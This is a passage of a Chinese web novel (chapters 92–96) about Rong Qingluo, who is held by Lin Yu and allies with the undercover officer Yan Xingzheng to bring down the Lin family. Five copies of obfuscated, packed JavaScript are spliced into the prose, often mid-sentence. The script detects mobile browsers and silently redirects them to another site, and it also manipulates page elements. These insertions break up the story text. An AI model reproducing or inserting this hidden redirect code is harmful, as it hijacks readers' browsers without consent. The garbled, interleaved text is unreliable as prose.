“那想来不是逼我的供，晏先生，难道你要我逼你的供？”容清洛故意道，“不不不，晏先生初次到花洲岛上做客，想来是因为主人照顾不周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578042|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，才让客人大半夜仍在岛上四处游荡，我怎么会对晏先生有别的怀疑呢？” “如果晏先生想的话，我倒是可以替你和林裕诉诉苦，让林裕好好想想哪里做得不好。” 晏行铮：“你把我引来，就是要说这个？威胁我？” “怎么会？”容清洛轻笑起来，她的目光仿佛透过面前挡风的巨石看见了刚刚两人所在的河边，“现在是冬季枯水期，所以你刚刚能发现那里有座桥。” “其实若我想离开这座岛，即便没有船，只要我胆子够大，沿着这条水中的路，也能走到对岸。” “可我不会走。” “或者说，我不能走，我有要做的事情。” “但实际上对我而言，我宁愿在冰冷刺骨的河水里浸泡着，也不愿意陪在他身边。” “你觉得我很矛盾吧？” 晏行铮：“你恨他，却不离开他。” “你在等机会报复他？” 两人都知道，这个“他”指的是谁。 容清洛上前一步，靠近晏行铮：“晏先生，那你会告发我吗？” 晏行铮摇头：“这世上，每个人都活得很艰难，晏某不会无聊地去做这种损人不利己之事。” “是吗，那清洛在这里谢过晏先生。”容清洛眨眨眼，狡黠笑道，“不过，即便晏先生把今天的事情告诉林裕，我也不怕。” “林裕知道我讨厌他，也知道我想报复他。” “可他还是把我禁锢在他身边。” “因为他就是想看我痛苦地受折磨的样子。” “很变态吧？” 晏行铮：“你和我说这些做什么？” 容清洛：“你这人真有意思，别人和你说什么话、做什么事，难道都要有目的吗？” 晏行铮一噎。 他本身就是带着目的来接近林裕的，看任何林裕身边的人当然都戴着有色眼镜。 “我只是单纯想找个人随便聊聊天不行吗？”容清洛席地而坐，她拍拍身旁，“你想一直站着？” 晏行铮：“容小姐，我刚刚以为你有生命危险，所以才会来救你，哪想到容小姐玩得这么大，喜欢用生命和别人开玩笑。” “晏某是一个相当惜命的人，实在是玩不起，所以我就不坐了，先行一步。” 确认容清洛此时并无大碍，晏行铮便要告辞离开。 走之前，他提醒道：“天气寒凉，更深露重，容小姐还是早些回去休息吧。” “晏先生，”容清洛起身，脱下晏行铮的外套，递还给他，“你的外套。” “不好意思，把你衣服弄脏了，但我不能带回去给你清洗。” “晏先生，只好你自己受累洗一下了。” “小事，容小姐不必费心。”晏行铮抓住外套的一端，却没有拽动。 只因容清洛仍然牵着外套的另一端。 晏行铮挑眉，看向她：“容小姐？” 92. 朗月清风 对容清洛而言，晏行铮就是她能否复仇成功的关键。 当她意识到，时隔两年，晏行铮虽然看着很危险，但实际上仍然对自己呈现出保护姿态时，她便已经下定决心。 不论付出什么代价，都必须试探出晏行铮的身份，与晏行铮成为同伴，这样才能对接下来的复仇进行更好的布局。 曾经，容清洛选择和晏行铮合作，一起对付范家的人。 如今，她打算将枪口瞄准林家。 她赌，晏行铮子弹所指的方向，与她一致。 而这一次，容清洛赌赢了。 容清洛第一次与晏行铮相遇，是在十六岁，距今已经过去六年。 其实认真算起来，她和晏行铮认识的时间虽久，却也不过只是寥寥数面之交。 可意外地，她从未忘记过晏行铮这个人。 他很神秘。 从一开始就不愿意透露自己的名字，只留下一个姓氏。 他也很危险。 在林裕那种眼高于顶的斯文败类身边能有一席之地的人，不说个个心狠手辣、恶贯满盈，但也绝对不会是善茬。 但每一次遇见，他对她，的的确确都没有恶意。 甚至他愿意在一些时刻，打破自己的规则，向她释放力所能及的善意。 这也是容清洛之前愿意与晏行铮合作的原因。 而如今，她要说服晏行铮同意她加入他的队伍。 他们，必须成为同盟，成为伙伴。 这是对她而言，她能走通的、覆灭林氏的最好路径。 容清洛所走的这条路，并不是寻常之路。 在这场名为命运与复仇的赌局当中，一旦入局上桌，就只有两个选择。 要么彻底认栽，中途退场，忘掉这场噩梦，重新开始。 要么不断加注，不死不休，奔向那无可预料的终局之战。 容清洛没有资格提放弃，也不甘心灰溜溜地抛下赌局，在无人的角落里舔舐伤口、了此残生。 她满心的怒火誓要用罪者伏法来灭。 她胸中的不甘必要用林氏之倾倒来平。 所以哪怕她屡屡受挫，哪怕她之前所有的尝试都以失败告终，但她愈挫愈勇，屡败屡战，她愿意献祭所拥有的一切，作为烧起这场复仇烈焰的燃料。 这辈子，这条路，她必须走到终点。 否则，死不瞑目。 做鬼都不得安生。 在这样一条并不寻常的路上，总是与她重逢的人，又怎会是寻常之人呢？ 曾经，在医院的顶楼天台上，在同一个时刻，他们都面临着白天与黑夜的抉择。 如今潜行在暗夜里，他们又多次相遇。 未来，只要他们还在这条路上，必定还会重逢。 因为他们根本就走在同一条路上。 在不同的时空，在不同的节点，有无数种可能的选择。 他们一步一步地抉择。 没有放弃。 没有偏离。 始终就那么不偏不倚地，走在那条交叠重合的道路上。 他们就是战友。 只是双方一开始都并未发觉。 也许他们的出发点不一样。 也许他们的身份有别。 但客观来讲，他们所做的事情，在本质上是相同的。 哪怕二人不合作，最终，他们俩也必定是，殊途同归。 既然如此，为何不一起做这件事情呢？ 《淮南子》中有言：见一叶落，而知岁之将暮；睹瓶中之冰，而知天下之寒。 深夜里，晏行铮不在客房好好待着，反而漏夜外出，穿着一身融于夜色的黑衣，他所做之事肯定瞒着林裕。 这说明，晏行铮和林裕必定不是一条心。 可尽管晏行铮别有用心，他仍然会舍弃一些东西，选择来救她。 这意味着，晏行铮是一个良善之人。 对容清洛而言，确定这两点，已经足够让她信任晏行铮。 晏行铮曾经说过，如果命运让他们有机会再次相遇，她会知道他的选择。 确实，她已经知道他的选择。 可晏行铮似乎对她仍有顾虑。 但没关系，她会向他论证，她的真心，以及她的值得信任。 *** 容清洛将手中青年的衣服一点点收紧，拉近两人之间的距离。 晏行铮站着没动。 于是容清洛走向晏行铮。 在距离他很近的位置，容清洛站定。 容清洛仰头看向青年的眼睛，认真道：“晏先生， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578043|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从你跳窗而出的那一刻，你就已经告诉我，你和林裕不是一条心。” “从你刚刚选择来救我的时候，你就已经在诉说，尽管你别有用心，但你是一个善良的人。” “对我而言，知道这两点，就足够让我信任你。” 晏行铮神色微顿。 容清洛：“那你呢？” 晏行铮没反应过来：“我什么？” 容清洛：“我应该怎样做，才能够让你信任我？” 晏行铮低头，将这双近在咫尺的眼睛看得很清楚，里面凝着倔强的光。 他道：“容小姐想要我的信任？” “恕晏某愚钝，我和容小姐不是已经合作过一次了吗？如果我不信任容小姐，当初又怎会答应与你合作？” “晏先生何必与我装傻？”容清洛摇头道，“今时早已不同往日。那时的情形与现在不同。那时候我们想要达到的目的和想要对付的人与现在也不一样。” “对晏先生而言，如今我想要与你达成新的合作，你当然需要我提供新的信任基础。否则为何上次在车上你要回避我的问题。” 晏行铮：“容小姐想要合作，也不是不可以，你可以提供怎样的信任基础呢？” 容清洛：“清洛其实并不仅仅只是想与晏先生谈合作。” 晏行铮疑惑：“容小姐还想谈什么？” 容清洛：“我想加入晏先生的队伍。” 这句话仿佛平地惊雷，在晏行铮心中炸起无限汹涌的波涛。 晏行铮手中外套的另一头还被容清洛牵着，他身形未动，刺骨的风中，手心却有些出汗。 容清洛加重语气，强调道：“不是以合作者的身份。” “我希望，我们是同盟，是伙伴。” 晏行铮想起今夜林裕喝酒的模样，挑眉道：“容小姐在林裕的心中，比我重要。如果容小姐仅仅只是想要报复林裕，你来和我结盟，怕是有些妄自菲薄了。” “看来晏先生对林裕还是不够了解。”容清洛冷哼一声，“在林裕心中，我们都不重要。矮子里面拔高个，我有什么可自豪的？” “我是人，不是需要被林裕驯服的宠物。” 晏行铮：“那容小姐想要如何报复林裕呢？” “难道你想杀他，你要他的命？” 93. 朗月清风 “怎么会？”容清洛失笑，“清洛不是嗜杀之人，晏先生你多虑了。” 晏行铮：“我以为你很恨他。” 容清洛：“是，这一点我并不否认。” “但如果我杀掉林裕，我就会成为杀人犯，而林裕在众人眼里会是受害者。” “如果林裕和林晶的罪行不能昭告天下，反而以受害人的名义死去，岂非便宜了这二人？那样我才会死不瞑目。” “所以我才不会做这么傻的事情。” “即便我在心中早已将他们千刀万剐，但在现实里，我会极力忍住，不这么做。” 晏行铮若有所思。 容清洛嘲讽一笑：“毕竟这样做，太得不偿失了。” 晏行铮：“能控制仇恨，这很难。容小姐令人心生敬佩。” 容清洛：“我只是认为，我应该自己决定我要成为一个怎样的人。” “而不是被我的仇恨所控制。” “尤其这些仇恨的来源还是那些我所痛恨的人。” “如果我为仇恨所驱使，那就说明，我在被我的仇人控制着。这太可悲了，我不愿意。” “所以我走上复仇之路是我在心里反复思量后所做的决定，并不是情绪上头，一时冲动。” 晏行铮恍然：“原来这就是你当时的决定。” 容清洛眼神微亮：“是。” “我的生门，在黑夜。” “所以我义无反顾地走进暗夜之中，哪怕我很痛苦。” “晏先生，你呢？” 容清洛的眼神紧紧地盯着晏行铮的表情，绝不放过他神情中一丝一毫的变化。 但他是泰山崩于前都面不改色的人，容清洛瞧着他那一副处变不惊、泰然自若的样子，心里不由得升起一种她一个人在唱独角戏的狼狈感。 容清洛突然觉得自己很可笑。 她冷笑一声，破天荒喊了他的名字：“晏行铮！” “怎么，今天你还要用中二病来搪塞我吗？” 晏行铮注意到她的情绪变化。 他垂眸，不知想了些什么。 过了半晌，晏行铮叹口气，说道：“如你所见。” “你看见了什么，就是什么。” 容清洛没想到晏行铮会松口，她有些惊喜：“晏先生，既然你不便明言，那么，清洛可以请你回答我一些问题吗？” 晏行铮：“但说无妨。” 容清洛：“你我第一次见面时，你曾经讲过，如果命运让我们有机会再次相遇，我会知道你的选择。” “在那之后，我们相遇了很多回，对吗？” 晏行铮点头：“对。” 容清洛：“晏先生，其实我已经知道了你的选择，所以我信任你。” “但是很显然，你并不信任我，你不知道我的选择。” “所以我现在要向你论证一件事情，以此来证明我的值得信任。” 晏行铮：“你想要如何论证？” 容清洛：“首先，我要考晏先生一个数学问题。” 晏行铮：“请讲。” 容清洛：“在同一个平面内，两条直线有哪几种位置关系？” 晏行铮没有犹豫：“平行，相交，重合。” “晏先生，”容清洛盯紧晏行铮的神色，问道，“你觉得，如果我们两个人分别是一条直线，我们这两条直线，是什么样的关系？” 晏行铮思考片刻：“我觉得是相交。” 容清洛追问：“那你知道，两条直线相交有几个交点吗？” 晏行铮：“一个。” 容清洛：“晏先生，在你的记忆里，我们相遇了多少次呢？” 晏行铮的表情有所松动，似有所悟。 容清洛勾起唇角，笑起来：“肯定不止一次吧。” “这就说明，我们这两条直线的交点不止一个。” “你承认这一点吗？” “晏先生。” 此时，晏行铮已经彻底明白容清洛究竟想说什么。 他虽然被问得哑口无言，但今晚被容清洛戏耍的恼怒渐消，心间反而流淌着莫名的雀跃与欢欣。 在容清洛执拗想要得到答案的目光下，晏行铮点头道：“承认。” 容清洛想要将晏行铮的神色看得更清楚些。 她向前迈进一步。 此时，两个人距离很近。 彼此都是对方在这寒夜里唯一的热源。 容清洛：“晏先生，如果两条直线之间的交点不止一个，你知道这意味着什么吗？” 晏行铮不答。 容清洛替他回答道：“这意味着，这两条直线其实是重合的。” “你觉得我说的对吗？” “晏先生。” 容清洛眼里的光芒太盛。 晏行铮避开她的视线，目光从女子的脸上偏移到远处天边的那轮圆月之上，艰难点头道：“对。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578044|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >容清洛不给他躲避的机会，向前一步，踮起脚尖，靠近晏行铮的耳边，轻声道：“承认吧，晏先生，你我早已走在同一条道路上。” 这时，没料到晏行铮会突然低头看自己，容清洛猛地后退，脚在礁石上被绊了一下，差一点摔倒。 晏行铮一手扯住手中的外套，一手揽在容清洛的腰上，阻止了她跌倒的趋势。 等容清洛站稳以后，晏行铮松开揽着容清洛的手。 此时，容清洛因为差点摔倒，慌乱之中松开了晏行铮的外套。 晏行铮重新把外套披在她身上，后退一步：“容小姐，我想你还没有论证结束，请继续。” 容清洛深呼吸，继续道：“曾经，在医院的顶楼天台，在同一个时刻，我们都面临着白天与黑夜的抉择。” “如今，潜行在暗夜之中，我们多次相遇。” “未来，即便你主观上不让我加入你，客观来讲，我们做的事情，本质上是相同的。” “也许我们的出发点不一样，也许我们的身份有别，但最终，我们俩，殊途同归。” “晏先生，现在你还对我疑虑重重吗，你还觉得我不值得信任吗？” “即便你不承认，只要你还在这条路上，我们以后还会重逢，因为我们根本就走在同一条路上，我们本身就是战友，只是你不知道。” 晏行铮沉默地注视着容清洛的双眸，在缄口不言中不断地考量着容清洛的话语。 最后，他问道：“容清洛，你走上的这条路，终点是什么？” 容清洛：“林氏覆灭，罪者伏法。林裕和林晶再无倚仗，受到应有的惩罚。” 闻言，晏行铮道：“口气倒是不小，你要知道，这可比你一刀捅死林裕要难得多。” 容清洛：“不难的话，我也不会在这里遇见晏先生了。” 确实，林裕如果是普通人，晏行铮不会出现在这里。 他细细琢磨着这句话，玩味道：“容清洛，你不觉得，你在我面前，未免也太肆无忌惮了一些？” “就这么信任我？” 容清洛笃定道：“是。” “晏先生，你会辜负清洛对你的信任吗……阿嚏！” 尽管巨石可以挡风，但夜里温度很低，容清洛身上的衣服都已经被水浸湿，在外面站久了，身体难免支撑不住，已经开始打喷嚏。 晏行铮上前一步。 容清洛被逼得后退，恰好退进了巨石后面的角落里。 94. 朗月清风 晏行铮为容清洛挡住风口。 他此刻才终于明白，原来容清洛想要的，从来不是简单的报复林晶和林裕。 如果只是单纯的泄愤，容清洛这两年在林裕身边，有无数个夜晚可以对林裕下手，甚至容清洛成功杀掉林裕的机会比他还多。 但这似乎不是她想要的。 杀人多简单。 白刀子进去，红刀子出来，最坏无非是大家一齐去见阎王罢了。 难的从来都是—— 如何让作恶者因违背公义而受到惩罚。 如何让受害者因天理昭昭而恢复名誉。 晏行铮终于懂得，容清洛并不希望林裕和林晶在不知情的众人眼里成为受害者。 她想要的，是将林裕和林晶的罪行昭告天下，而不是让他们以受害者的名义死去。 所以哪怕在容清洛心中早已将他们千刀万剐，但在现实里，她会极力忍住不这么做。 她没有在泄愤，也不是一时的情绪上头与冲动。 她没有被仇恨所控制。 她是经过了深思熟虑才选择走上这条路。 她说，她的生门在黑夜，所以哪怕她很痛苦，也要义无反顾地走近暗夜之中。 所以她在这条路上，百折不挠，九死无悔。 晏行铮能从这些话语里感受到容清洛灵魂里的不甘，与战意。 这种情绪是那般真实。 晏行铮在当卧底的这些年里，每天都在伪装。 四面皆敌，他的身边没有自己人。 长期处于这样压抑的气氛当中，人们的一举一动，皆是谎言。 在这样的一片虚假里，容清洛好像是晏行铮唯一可以触碰到的真实。 在这虚假的表象之下，拼凑出真正的她以后，他便不想再看见她寂灭的眼睛。 “清洛，我相信你值得信任。”晏行铮认真劝道，“而你如果信任我，就把专业的事情交给专业的人来干。” “不要被过去束缚住了手脚，你的公道有人替你讨，你把未来的人生过好，更重要。” “尽快逃离这里吧，忘掉这里发生的一切，重新寻回你生命的正轨，过你应该过的生活。” 容清洛啧啧摇头：“看来即便晏先生对我的身份不再怀疑，也还是对我的价值和能力不太相信。” 她道：“晏先生，清洛奉上一条情报，向你证明我的价值。” 晏行铮：“什么情报？” 容清洛：“你别在花洲岛的南面和北面浪费时间了，你往西面去，那里有一个地牢。” 听到这个消息，晏行铮心中一凛，他必须尽快将这个情报告诉平叔。 面对晏行铮的惊讶，容清洛笑得云淡风轻：“这两年，我在林裕身边，也不是白混的。” “如果你在里面发现你早已牺牲的同志竟然还活着，那也不是不可能。” 青年的眸色已经浓似一团墨汁，容清洛懂得他的愤怒，她道：“友情提示，晏先生今晚还是不要继续冒险了，乖乖回房间里。” “因为林裕手里有枪。你最好还是回去和你的同伴好好商量一下，切莫冲动。” 容清洛拉开衣服的拉链，从衣服内侧的兜里掏出一个塑封袋，递给晏行铮：“这里面是我画的花洲岛地形图，怕弄湿了，所以用袋子包着，希望对你有帮助。” 晏行铮接过收好，郑重道：“谢谢你，清洛。” 容清洛：“你我之间，道谢就不必了，我不爱听。” “我更希望从你嘴里说出一些我爱听的话。” 晏行铮开诚布公道：“关于你爱听的话，那件事情我做不了主，你只能等消息。” 容清洛：“好。” “晏先生，你一言九鼎，那我就等着你的好消息了。” “我先走了，回见，晏先生。” 晏行铮颔首：“回见。” 容清洛走了几步，又回头：“对了，晏先生，有一件事忘记告诉你了。” “希望你看在刚刚那条情报的份上，听了以后别生气哦。” 晏行铮：“请讲。” 容清洛一双美目在月光之下顾盼生辉，她道：“晏先生，其实今天一开始我骗了你。” “你在这里遇见我，不是偶然。” “我今天所有的所作所为，无论是你见到的，还是你没见到的，都只有一个目的。” “那就是——” “想让你看看，我的真心。” “现在，我的心已经剖给你看了，接下来，选择权在你。” “可别让我失望，晏先生，清洛真的很期待。” “期待着，能有机会，与晏先生并肩战斗。” *** 容清洛已经离开，话音却似犹在耳畔。 晏行铮尚站在原地，吹着冷风。 他需要冷静。 其实在刚刚最后那短短的几句对话当中，晏行铮的脑海里闪过许多种救援方案。 而在这些纷杂的思绪中，有一个令他自己都始料未及的念头强势冒出。 起初，即便晏行铮确定了容清洛值得信任，但他也还是更倾向于将容清洛救出去，帮助她脱离林裕。 他盼望着，她可以过上正常人的生活。 这条路，毕竟，太苦了。 可后来，容清洛能说出花洲岛上有地牢、而地牢里有他们的同志这种情报，甚至画好了详细的地图交给他。 容清洛在用实际行动向他证明，她这些年一直在为扳倒林氏而努力，她确确实实能为他的卧底任务提供帮助。 他走在暗夜之中太久了。 这条路，距离终点，他不知道还有多远。 如果一阵清风拂过，可以吹散那遮蔽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578045|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星月的云雾，为这窒息的黑夜，带来点点生机。 那么在此时此刻，他的心中也会陡然生起—— 想要抓住这缕清风—— 的小小愿望。 其实，庇护和庇护是有区别的。 给予需要帮助者以庇护，那是不求任何回报的，是单方面的。 而对同伴的庇护，虽然也不求回报，但实际上是相互的，双方是可以并肩作战、交付后背的。 很显然，容清洛不想做低位的被拯救者。 她要和他站在同等的位置，成为同伴。 容清洛能在丝毫看不见未来与希望的时候，仍然潜伏在林裕身边，收集着不知道何时何地才能派上用场的情报，这种信念何其坚定。 哪怕荆棘满地、寸步难行，她也从未离开这条路。 晏行铮相信，林氏一日不倒，始终不忘初心的容清洛便一日不会放弃。 他不禁扪心自问，那他呢？最初的他究竟是为何才想要走上这条路呢？ 也许从他儿时读到“安得猛士兮守四方”、“不教胡马度阴山”、“不破楼兰终不还”这样的诗句时，便已经在心底埋下了保家卫国的种子。 自小受熏陶而拥有的英雄梦，带给他守护祖国和人民的抱负、血性与豪情。 而他选择走上的这条报国路，不在阳光之下。 一个永不背叛、相互扶持的同行者，对他而言，弥足珍贵。 夜行的路上，如若有人相伴，多少都是慰藉。 清风为伴，更添几分浪漫。 想到这里，晏行铮的脑海里忽然不合时宜地出现不久前容清洛在饭局上跳的那支古典舞。 当时在席间，他为这朵干净的花沉浮于泥沼间而感到悲戚。 如今想来，是他未能看清。 污泥里，也能盛开出最高傲的莲花。 而容清洛，不仅有傲骨。 她还从来都不是一朵求人怜惜的娇花。 她是食人花。 这么多年来，不论遭遇过什么，她始终没有忘记，当初为何踏进这泥沼之中。 她一直都在绞尽脑汁、拼尽全力地抗争着她所不认同的一切。 晏行铮向来喜怒不形于色，很多时候，他露出的神情都有他特殊的用意。 但此刻，他眼角眉梢由衷地流露出几丝藏不住的喜悦。 他是真的高兴。 当我以为你已经被磨平棱角的时候，原来你是在等待时机。 当我以为你已经被彻底同化之时，原来你从未改变。 当我以为—— 你只是过客。 原来—— 你是同行者。 你依然满身战意。 你依然充满信念。 你依然矢志不渝。 真好。 我没有看错你。 95. 无名月色 那夜过后，晏行铮在第二日清晨便离开花洲岛。 容清洛不知道林裕为何会突然转性，竟然又同意让她继续工作。 她顺利接下一档名为《韶光之旅》的综艺。 这个节目播出以后，意外地火爆，容清洛作为其中唯一的女嘉宾，人气飙升，自此在娱乐圈中打出破圈层的名气，在网上有很大的讨论度。 容清洛一下子变得很忙碌，许多综艺邀约递到她面前。 因为她之前在团内就是主唱，便趁这个机会接连参加了几个歌手比赛和音乐综艺。 大半年转瞬即逝。 这期间，晏行铮找机会出差，在综艺的录制地悄悄见了容清洛一面。 当时容清洛住的地方水管突然爆裂，晏行铮装作维修工进入房间。 容清洛十分吃惊，虽然晏行铮戴着口罩，但她一眼就认出他来。 她不动声色地把助理等人支开。 当房间内只剩下容清洛和晏行铮时，她道：“晏先生，别来无恙啊，每次见到你，总是让人感到意外又惊喜。” 晏行铮一边拿出专业工具修水管，一边低声道：“希望是喜大于惊。” “当然。”容清洛，“晏先生，这水管不会是你弄出问题的吧？” 晏行铮抬头看了容清洛一眼。 容清洛俏皮一笑。 晏行铮继续修水管，清冷的声线在房间里低低响起：“花洲岛地牢的事情，我们已经确认过，消息属实。” “目前行动顺利。” “确实营救出两名我的同伴，里面还有一些其他人，身份暂时不明，正在核实中。” 容清洛一直没有出声。 晏行铮仰起脸，细细观察容清洛的神色，安抚道：“别害怕，林裕怀疑不到你的头上。他们内部也有叛徒。” 容清洛：“那你会被怀疑吗？” 晏行铮低下头，继续干活，嘴里问道：“担心我？” “当然。”容清洛，“你是我选的。” “晏先生，作为我看中的未来搭档，你还没有给我回复呢，我可不能让你出事。” 晏行铮：“你这么信任我，我也不能让你失望，不是吗？” 容清洛：“不过晏先生，这其实是上个月就已经发生的事情吧。” 晏行铮没有否认，只是问道：“为什么这么说？” 容清洛：“上个月有一天，林裕突然给我打电话，让我暂时先不要回花洲岛，他给我安排了一个新住处，已经把我的东西全部运走。” “所以晏先生，我一直在等你。” “你让我等了这么久，是林裕找你麻烦了？” 晏行铮：“林裕确实被激怒了，他在内部大清洗，这个月我一直没法脱身，所以现在才来见你，抱歉。” 容清洛上下打量着晏行铮，这般细致的观察之下，她才赫然发觉晏行铮鬓角的一条细微的伤痕。 他因为干活将衣袖撩了起来，胳膊上也有几道狰狞的疤。 容清洛：“你真的没事吗？” 晏行铮从她的声音里听出忧虑，他抬头，顺着容清洛的目光看见自己胳膊上的疤，恍然，放下袖子：“吓到你了？这是旧伤。” 容清洛点了点自己的鬓角：“你这里也是旧伤？” “不是。”晏行铮，“不过你放心，我有对策。” “不说这些了。”晏行铮放下手中工具，站起来，“清洛，希望我给你带来的是让你开心的好消息。” “容清洛，我的上级批准同意你签署线人协议，正式成为警方的线人。” “但是在正式为你在警局备案以前，我要再次向你确认一件事情。” “真的？太好了。”容清洛压下喜悦，问道，“晏先生想知道什么？” 晏行铮：“我想知道，你现在是否依然坚定，想知道你为什么一定要当这个线人。” “清洛，我不是不信任你。只是你明明还有其他选择，为什么一定要走上这条路呢？” “你要明白，其实你即便不当线人，只要你求救，我就会想办法把你救走。哪怕你不做什么，我们也会找出林裕的罪证，将他绳之以法。因为这是我的责任。” “如果我和你只是单纯的营救关系，那我对你没有任何要求。你只需要等待就可以。” “但如果你执意要当线人，成为我的同伴，那我对你就是有要求、有考核的。” “二者是不一样的，你明白吗？” 容清洛：“我明白，我不怕吃苦，我就怕达不成心中所愿。” “晏先生，你知道什么叫多劳少成，事倍功无吗？” “这么多年，我都是这样过来的，在这条路上，为了找到正确的方向，我做了很多无用功，走了很多弯路。” “虽然我一直在竭力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578046|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控制着我的仇恨，但有时我也会控制不住。” “这些年里，随着时间线的不断拉长，我在仇恨的泥沼里越陷越深。” “有时候，我也在想，是不是我越执着，反而越将自己拉入深渊。” “我也会问我自己，我到底为什么要坚持复仇，是否要及时止损，及时抽身？” “毕竟，我为了复仇，已经失去了很多东西。” “或者说，为了活着，我失去了太多。” “直到现在，我仍然不能有尊严地活着。” “但我尝试过很多次，我说不出放弃这两个字。” “我没有退路。” “如果我就这样离开，我会永远活在林裕和林晶带给我的阴影之下。” “逃离解决不了我的痛苦。” “我要想结束这种痛苦的局面，最好的方式就是解决掉让我痛苦的源头，也就是林晶和林裕。” “而要解决掉林晶，就必须先解决掉林裕。” “审判他们的刀锋，必须有我的一份力。” “所以对于扳倒林裕的想法，我始终如一，不说从未动摇，但绝对非常坚定。” “晏先生，这么多年，一路走来。” “我的愤怒，我的不甘，在这般的折磨之下，一点点地将我的血性，我的尊严，我的骄傲，从骨髓里敲击出来。” “我绝不会放弃。” “这个世界就是一个幻景，不断地试探着每一个人。” “也许我们就是要经历过千锤百炼，才能真正认识到，自己骨子里究竟是个什么样的人。” “而我的心告诉我：我就是这样的人，我就要这样做，这就是真正的我。” “我知道，我的这一点蚍蜉之力，要想撼动林家这棵枝繁叶茂的大树，就必须和你们站在一起。” “只有这样，我的这点价值，才能发挥出最大的作用，才能最终撬动林氏集团这座大厦。” “届时，大厦将倾，冤魂索命，林裕和林晶就再无可逃之路。” “这是于我而言，我能想到的最好的方法了。” “希望你能成全我，我无怨无悔。” 晏行铮深深呼出一口气，摘下右手的手套，伸出手：“清洛，我们以后，就要并肩作战了。” “请多多指教。”容清洛回握住他的手，“我会竭尽所能，绝不会托你的后腿。” 96. 无名月色 花洲岛出事后便被查封，林裕放弃了那里，因此把容清洛安置在他平日处理地下产业事务的宅子里。 不回家的时候，林裕一般都住在此地。 而如今，林裕把容清洛也安排在这里住。 容清洛估计，林裕要么是想通过她遮掩什么东西，要么就是林裕确实比以前要更信任她一些。 她觉得，以林裕的薄情来看，第一种原因的可能性更大。 既然涉及到一些地下产业，林裕在这里经常会约见自己的手下，其中自然包括晏行铮。 于是，容清洛和晏行铮见面的机会无形之中增加不少。 不过在林裕眼里，他们二人并不熟悉，只能算是彼此知道对方存在、打过几次招呼的点头之交。 有一天下午，林裕回来时，容清洛在他脸上看到一种诡异的笑容。 她如今对林裕的心情已经能够拿捏得非常准确，林裕越是笑，就说明他心情越不好。 看来是有事情发生。 容清洛打起十二分精神，为林裕泡好茶水，端进书房，却在转身小心翼翼想要退出去时，被林裕握住手腕。 房门掩映之间，有交叠的人影散落在地上。 容清洛破碎的声音响起：“门……” 林裕随手从桌上拿起一本书，掷向书房门口，只听砰的一声，门被关紧，再无一丝春光泄露。 晏行铮恰好这天有事情不方便在电话里说，需要亲自来请示林裕。 没想到他来得这般不巧，从傍晚等到月上柳梢，管家才来喊晏行铮到林裕书房谈话。 走上楼梯时，晏行铮恰好迎面瞧见容清洛推开书房门，低头快步而出。 容清洛似是没料到此时这条走廊上会有人，惯性作用下，差点撞进晏行铮怀里。 好在晏行铮及时扶住容清洛：“容小姐，小心。” 但容清洛搭在肩上的披肩也因此在动作间滑落在地。 晏行铮的目光避开容清洛脖子与肩上的痕迹，低头为她捡起披肩，有礼地递还给她。 “谢谢晏先生。”容清洛轻声道谢，接过披肩便迅速转身离开，全程没有多给晏行铮一个眼神。 似乎是为了避免让跟在晏行铮身后的管家误会。 可只有容清洛自己知晓，她垂下的眼眸里掩饰着怎样的难堪。 在她心里，晏行铮知晓她和林裕在一起是一回事，可让晏行铮亲眼看见她和林裕在一起，这是另外一回事。 